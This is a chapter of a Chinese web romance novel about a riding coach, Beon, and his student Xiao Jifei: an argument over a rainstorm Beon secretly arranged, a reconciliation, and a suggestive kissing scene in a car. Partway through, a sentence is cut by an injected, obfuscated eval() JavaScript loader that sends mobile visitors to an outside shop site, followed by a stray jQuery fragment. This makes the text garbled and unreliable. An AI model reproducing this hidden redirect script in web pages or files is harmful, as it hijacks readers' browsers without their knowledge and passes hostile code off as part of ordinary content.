贝昂让萧霁非留在房间里换衣服,自己则是去了另外的卧室。
简单洗了个澡后,贝昂找出最适合他的一套马术服(其实是最能显出他完美身材的)穿上。
等他收拾好东西,再回到房间时,贝昂看到换好便装的萧霁非侧对着房间大门的方向,手里拿着什么,他双唇紧紧抿在一起,脸色也铁青的吓人。
“非非,你衣服换的好快。”贝昂开口,想多说什么,却在看到萧霁非手机拿的东西时,声音戛然而止。
片刻后,贝昂清了清嗓子。
“我的手机怎么在你手里,”他略有些尴尬的抓住马术服一角,“大概是刚才落在房间里了。”
萧霁非胸膛微微起伏,明显在刻意压制自己怒火。
“所以,贝昂,昨晚那场暴雨出自你的手笔?”
贝昂从未见过萧霁非如此生气的模样,一下子慌了神,虽然他承认刚才“贝昂”这两个字从萧霁非嘴里说出来时,好听的让他心跳漏了一拍,但,此刻不是说这些的时候。
都怪自己大意,怎么就没给手机设个密码什么的!
让萧霁非轻轻一碰就打开了他的聊天软件。
贝昂慌乱的开口,“哦,非非,不是你想的那样的,非非。”
萧霁非眼底覆上一层寒意,深吸一口气。
“好,我听你解释。”
他举起手机,亮起的屏幕上还停留在贝昂昨晚给某人发消息的页面上。
“Hey,伙计,今晚好热,想办法让我的庄园附近下点雨,最好是暴雨,能下一夜的那种。”
萧霁非双目赤红,连说出口的声音都在发抖,“贝昂,你说实话,昨晚那场雨究竟是怎么来的?”
贝昂移开视线,紧紧攥起拳,不敢看萧霁非的眼睛。
“Sorry,非非,我不知道你生病了,我只是想留住你,不是有意伤害你的。”
“你因此受伤的话,我很抱歉。”
萧霁非把手机扔在贝昂身上。
贝昂没有伸手去接,站在原地任由萧霁非出气。
“啪”的一声,手机砸在贝昂胳膊上,落了地。
贝昂的手臂的肌肉上很快红肿一片。
“真是可笑,贝昂,我把你当做恩人,觉得你是个不计回报的天大的好人,原来,是我傻,才一直被你蒙在鼓里,”萧霁非目光死死盯着贝昂,“我还说呢,昨天早上看好的天气预报是晴,为什么到了晚上会下这么大的雨!”
“原来是你搞的鬼,贝昂,费这么大心思,把我留在你的庄园里,你究竟想做什么?看我出丑好玩儿吗?”
萧霁非越说越难过,最后竟然蹲在地上哭了起来。
贝昂手足无措的站在原地,想过去抱住萧霁非,又怕惹他生气。
原来,萧霁非以为自己知道他暴雨天会发病,为了看他的笑话,故意制造的这场恶作剧来针对他。
嘴唇动了几下,贝昂开口,“非非,真的很抱歉,我不知道雷电和暴雨会刺激到你,你打我骂我都可以,请别再哭了,please。”
“非非,看到你这样我真为你难过。”
贝昂话音刚落,萧霁非抬眼看向他,簌簌滑落的泪水卡在了眼角。
萧霁非的哭声戛然而止,一双湿漉漉的眸子奇怪的扫了一眼贝昂后,他站起身,拿上自己的包离开了房间。
“别跟着我,今天我会找沃克给我换一个私人教练上课。”
贝昂懵懵的站着,不知道怎么让萧霁非原谅自己,往日的傲气早已散的一干二净,此刻他眼底充满了愧疚。
贝昂后悔了,他做这件事不过是想增加自己跟萧霁非待在一起的时间而已。
早知道这样做会伤害到萧霁非,他是绝对不会因为自私而做出这种事。
*
萧霁非没再搭理贝昂。
走出庄园大门后,他打了一辆车去了银马刺俱乐部。
在出租车上,萧霁非给沃克发了换教练的消息。
很快,沃克就回复他,已经给他找好了合适的新教练。
萧霁非赶到俱乐部时,他的新教练里奥已经拿着头盔在等他了。
两人前脚刚到马场开始练习,后脚贝昂就带着一个陌生的学员也跟了进来。
里奥也是一位负责的教练,给萧霁非讲解快步慢步方面的知识时,非常有耐心。
有几句萧霁非听不懂,他还重复讲了好几遍。
但是,在两人不远处也在教学员的贝昂好像故意跟里奥作对一样,里奥讲什么知识点,他就跟着大声讲什么,还频频看向萧霁非在的地方。
没有别的工作和任务的萧霁非在俱乐部里学了一天的马术,贝昂也跟着在他眼前晃了一天。
下午下课后,萧霁非在休息室换衣服,眼前突然被一片阴影挡住。
萧霁非抬眼,哦,是板着脸的贝昂。
他低头,掩下眼底浅浅的笑意,故意收拾东西不看贝昂。
贝昂的影子在面前停了几秒。
终于忍不住开口,“他教的好吗?”
萧霁非坐在沙发上,装没听懂他的话,仰头挑眉看向贝昂,“什么?”
“我说,”贝昂宝蓝色的眼眸阴沉一瞬,“里奥他教的,有我好吗?”
看着贝昂这副别扭的少爷模样,萧霁非强忍着嘴角,尽量不笑。
“嗯。”
萧霁非手上动作不停,很快,连仅剩的鞋子也换好了。
得到了肯定的答案后,贝昂宝蓝色的瞳孔里的神采瞬间消失的无影无踪,长长的睫毛掩盖住眼底的情绪,他低下头站在原地没再开口说话。
从他孤单的影子里能看出来贝昂此刻的心情很差。
背好包的萧霁非觉察到了这一切,他从沙发上站起身往门外走。
路过贝昂身边时,萧霁非故意顿了下脚步。
“不一起走吗?”萧霁非陡然开口。
贝昂瞳孔猛地一缩,慌乱低头对上身侧萧霁非的视线,原本暗淡的眼眸瞬间就有了光亮。
他显然没想到萧霁非会主动开口跟他说话,一时竟忘了怎样回话。
“今晚不是要去庄园把昨天没上成的课补完吗?”萧霁非加重了语气,“教练!”
贝昂连连眨了好几下眼,一副受宠若惊的模样,弯起的嘴角压根藏不住心里的欢喜,他不敢信萧霁非还愿意继续上他的课。
毕竟,在萧霁非心里,他现在应该是一个有“坏心思”的教练。
“补,非非,我们现在就去庄园补。”
贝昂紧紧跟在萧霁非身后,生怕刚才的一切是他的错觉。
两人走出几步后,萧霁非突然回头跟贝昂说。
“贝昂,昨晚的事,我真的很生气,以后你绝对不可以再瞒着我做这种事!”
贝昂乖乖点头,“非非,我可以向上帝发誓。”
萧霁非踮脚捂住他的嘴,“不用,我不用你发誓,但是,如果再有下次,贝昂,我不仅不会原谅你,还会狠狠惩罚你。”
贝昂低头看着萧霁非毛绒绒的头发,觉得可爱的紧,伸手摸了摸他的脑袋,“好。”
怎么突然开始期待了,惹到如此可爱的慕斯小蛋糕,他会怎样狠狠的惩罚自己?
贝昂勾唇一笑。
萧霁非推开贝昂的手,鼓起腮说,“喂,贝昂,你到底有没有认真听我讲话啊!”
贝昂盯着萧霁非
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713035|208466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的嘴,沉默了几秒。
萧霁非的唇瓣生的可爱又小巧,说起话来,有时会微微嘟起。
该死的,这张小嘴在叭叭的说些什么啊,贝昂根本什么都听不进去。
想亲,他现在只想狠狠吻住萧霁非这张仿佛浸过蜜糖的小嘴。
想起昨夜唇下的柔软,贝昂身下一紧。
好不容易走到自己的跑车旁,贝昂憋不住了,扯过萧霁非的胳膊把他拽进后座。
他打开后座另一侧的车门,在萧霁非诧异的眼神里跟着坐了进去,
“非非。”贝昂盯着萧霁非的那双宝蓝色眸子在喷火。
“Can I kiss you?”
萧霁非神情微怔,反应过来贝昂在说什么后,他害羞的移开视线。
红晕顺着萧霁非的耳根一路蔓延至双颊。
萧霁非承认,他真的很期待跟眼前的贝昂接吻,他蓝色的眼睛实在是太过迷人,有种独特的魅力,让萧霁非陷入其中无法自拔。
鬼使神差的,萧霁非轻轻的点点头。
紧接着他的后脑勺就被一双大手牢牢箍住。
萧霁非轻呼一声,双唇被封了个严严实实。
起初温热的呼吸还只是在唇边辗转,但对方好像不满足于这个,急促的力道将萧霁非的唇齿撬开,贝昂滚烫的气息将他完全吞没。
贝昂的手不自觉的滑向萧霁非的腰间,被萧霁非腾出手来拉住。
“不要,贝昂,我不想在这里。”
贝昂手上动作不再继续,只默默扩大了这个吻,从萧霁非的唇角一路蔓延至耳畔,颈窝。
萧霁非趁机吸了几口新鲜空气,(娇)喘,(呼)息着开口,“贝昂,刚才我是骗你的。”
贝昂充满情欲的宝蓝色眼睛紧紧盯着萧霁非,“嗯?”
嘴上的吻不停。
“其实,那个里奥教练,他教的没有你好。”
萧霁非被贝昂吻的有些发痒。
凌乱的闷哼声从跑车里传出,萧霁非被抵在椅背上,尽力承受着贝昂压抑了太久的亲吻。
“那当然了,我也告诉你个秘密,非非。”
积攒太久的心动在此刻爆发,直到萧霁非喘不过气,贝昂才松开他的唇。
“他不止马上的技术没我好,连床上的也比不过我。”
贝昂站在萧霁非身后,他挑眉,期待的眼神看向萧霁非。
“非非,你想不想试试?”
萧霁非伸手把他推的远了些。
但看看贝昂结实的肌肉,精瘦的细腰。
他喉结动了下。
“下次一定哈,教练。”
*
萧霁非把衣服整理好,由着贝昂将他抱到副驾驶的位置。
贝昂俯身给他系安全带的间隙,萧霁非突然开口。
“贝昂,你考不考虑找个老师好好学学中文?”
贝昂挑眉,“怎么了?”
“今早你跟我说,看到你这样我真为你难过,这句话是对的,但是用词又不是那么准确。”
“贝昂,我能明白你想说什么,但是你的表达是有偏差的。”
贝昂握住萧霁非的手,放在自己脸上,眨了眨眼睛。
“请你教我,非非,这句话我应该怎么说?”
萧霁非扬起笑脸,“傻瓜,你说的这种难过,叫作心疼。”
“你应该说,非非,看到你这样,我会心疼。”
贝昂盯着萧霁非的眼睛,愣神片刻,他震惊于萧霁非认真说话时身上散发的魅力,又突然想到了什么。
贝昂眼底闪过一丝玩味。
“非非,我今晚不想骑马了,想骑你,怎么办?”